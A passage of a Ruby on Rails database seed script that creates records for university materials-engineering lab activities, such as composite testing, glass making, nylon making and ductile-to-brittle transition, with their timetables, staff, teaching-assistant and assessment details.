$prog_mat.id).first_or_create!\n\n\n a440 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR219\").first.id, code: \"212\").first_or_create!(name: \"Composite making and testing\",\n name_abrv: \"COMPOSITES\", archived: false, in_drive: false, user_id: 5)\n at440 = ActivityTimetable.where(activity_id: a440.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a440.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a440.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a440.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a440.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a440.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a441 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR331\").first.id, code: \"212\").first_or_create!(name: \"Composite making and testing\",\n name_abrv: \"COMPOSITES\", archived: true, in_drive: false, user_id: 5)\n at441 = ActivityTimetable.where(activity_id: a441.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a441.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a441.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a441.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a441.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a441.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a442 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"213\").first_or_create!(name: \"Composite testing\",\n name_abrv: \"COMPTESTING\", archived: false, in_drive: false, user_id: 4)\n at442 = ActivityTimetable.where(activity_id: a442.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a442.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a442.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a442.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a442.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a442.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a443 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"214\").first_or_create!(name: \"Concrete Making and Testing\",\n name_abrv: \"WOODCOMP\", archived: false, in_drive: false, user_id: 1)\n at443 = ActivityTimetable.where(activity_id: a443.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a443.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a443.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a443.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a443.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a443.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a444 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode9\").first_or_create!(name: \"Danger Lab\",\n name_abrv: \"DANGER\", archived: false, in_drive: false, user_id: 1)\n at444 = ActivityTimetable.where(activity_id: a444.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a444.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a444.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Danger Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a444.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_p2p.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a444.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n\n\n a445 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"216\").first_or_create!(name: \"Danger Lab II\",\n name_abrv: \"DANGER2\", archived: false, in_drive: false, user_id: 3)\n at445 = ActivityTimetable.where(activity_id: a445.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"This is usually run in during the autumn exam period as the GEE students don't have exams, however must avoid exam week 2 due to FCE1001\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a445.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a445.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"GTA in MEE, the Diamond: Danger Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a445.id).first_or_create!(assess_weight: nil, notes: \"Risk Assessment to complete before the session and pre lab. Same 2019/20\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a445.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a445.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a446 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"216\").first_or_create!(name: \"Danger Lab II\",\n name_abrv: \"DANGER2\", archived: false, in_drive: false, user_id: 3)\n at446 = ActivityTimetable.where(activity_id: a446.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a446.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a446.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Danger Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a446.id).first_or_create!(assess_weight: nil, notes: \"Risk Assessment to complete before the session and pre lab. Same 2019/20\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a446.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a446.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a447 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"217\").first_or_create!(name: \"DBTT\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at447 = ActivityTimetable.where(activity_id: a447.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 10, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a447.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a447.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a447.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a447.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a447.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a448 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"217\").first_or_create!(name: \"Ductile to brittle temeperature transition\",\n name_abrv: \"DBTT\", archived: false, in_drive: false, user_id: 4)\n at448 = ActivityTimetable.where(activity_id: a448.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a448.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a448.id).first_or_create!(criteria: \"\",\n job_desc:\"To measure a wide range of mechanical properties.To understand how to calculate DBTT. How processing routes and crystal structure effect important mechanical properties. Techniques used: tensile testing, impact testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a448.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a448.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a448.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a449 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6670\").first.id, code: \"217\").first_or_create!(name: \"DBTT\",\n name_abrv: \"DBTT\", archived: false, in_drive: false, user_id: 1)\n at449 = ActivityTimetable.where(activity_id: a449.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a449.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a449.id).first_or_create!(criteria: \"\",\n job_desc:\"To measure a wide range of mechanical properties.To understand how to calculate DBTT. How processing routes and crystal structure effect important mechanical properties. Techniques used: tensile testing, impact testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a449.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a449.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a449.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a450 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MEC207\").first.id, code: \"217\").first_or_create!(name: \"Ductile to brittle temeperature transition\",\n name_abrv: \"DBTT\", archived: false, in_drive: false, user_id: 2)\n at450 = ActivityTimetable.where(activity_id: a450.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a450.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a450.id).first_or_create!(criteria: \"\",\n job_desc:\"To measure a wide range of mechanical properties.To understand how to calculate DBTT. How processing routes and crystal structure effect important mechanical properties. Techniques used: tensile testing, impact testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a450.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a450.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a450.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a451 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE206\").first.id, code: \"218\").first_or_create!(name: \"Electrical materials\",\n name_abrv: \"ELECMAT\", archived: false, in_drive: false, user_id: 4)\n at451 = ActivityTimetable.where(activity_id: a451.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a451.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a451.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"This practical seeks to give you an understanding of thermistors. These are devices which are thermally sensitive, exhibiting a change in electrical resistance with a change in body temperature. In this practical you will study a commercial NTC thermistor, which is semi-conducting at room temperature.\n Understand the link between resistance, resistivity and conductivity\n Learn the significance of an Arrhenius plot\n Calculate activation energies\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a451.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a451.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a451.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a452 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties of materials I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 5)\n at452 = ActivityTimetable.where(activity_id: a452.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a452.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a452.id).first_or_create!(criteria: \"Hands-on experience on Mechanical Testing Techniques (Tensile Testing, Charpy and Hardness).\",\n job_desc:\"To determine mechanical properties of copper and aluminium, measuring key parameters, performing calculations and generating important plots.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a452.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a452.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a452.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a453 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"218\").first_or_create!(name: \"Electrical materials\",\n name_abrv: \"ELECMAT\", archived: false, in_drive: false, user_id: 3)\n at453 = ActivityTimetable.where(activity_id: a453.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a453.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a453.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"This practical seeks to give you an understanding of thermistors. These are devices which are thermally sensitive, exhibiting a change in electrical resistance with a change in body temperature. In this practical you will study a commercial NTC thermistor, which is semi-conducting at room temperature.\n Understand the link between resistance, resistivity and conductivity\n Learn the significance of an Arrhenius plot\n Calculate activation energies\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a453.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a453.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a453.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a454 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"219\").first_or_create!(name: \"Gas Laws\",\n name_abrv: \"GASLAWS\", archived: false, in_drive: false, user_id: 5)\n at454 = ActivityTimetable.where(activity_id: a454.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a454.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a454.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To apply fundamental gas properties such as Gay-Lussac’s law (or Charles’s law).\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a454.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a454.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a454.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a455 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"220\").first_or_create!(name: \"Glass making\",\n name_abrv: \"GLASSMAKING\", archived: false, in_drive: false, user_id: 1)\n at455 = ActivityTimetable.where(activity_id: a455.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a455.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a455.id).first_or_create!(criteria: \"Hands-on experience of glass making and glass characterisation\",\n job_desc:\"Practical glassmaking, assess qualitatively and quantitatively how different colorants affect the absorption spectrum of a glass.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a455.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a455.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a455.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a456 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"221\").first_or_create!(name: \"Glass testing\",\n name_abrv: \"GLASSTESTING\", archived: false, in_drive: false, user_id: 2)\n at456 = ActivityTimetable.where(activity_id: a456.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a456.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a456.id).first_or_create!(criteria: \"Hands-on experience of glass making and glass characterisation\",\n job_desc:\"Practical glassmaking, assess qualitatively and quantitatively how different colorants affect the absorption spectrum of a glass.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a456.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a456.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a456.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a457 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"222\").first_or_create!(name: \"Nylon making\",\n name_abrv: \"NYLONMAKING\", archived: false, in_drive: false, user_id: 1)\n at457 = ActivityTimetable.where(activity_id: a457.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at457.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a457.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a457.id).first_or_create!(criteria: \"\",\n job_desc:\"This lab practical, which will run in two sessions, seeks to give you knowledge of the characteristics of polymers. The first session will show how polymers are formed and the second session will investigate their mechanical (tensile testing and hardness) and chemical properties.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a457.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a457.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a457.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a458 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6670\").first.id, code: \"222\").first_or_create!(name: \"Nylon making\",\n name_abrv: \"NYLONMAKING\", archived: false, in_drive: false, user_id: 3)\n at458 = ActivityTimetable.where(activity_id: a458.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n 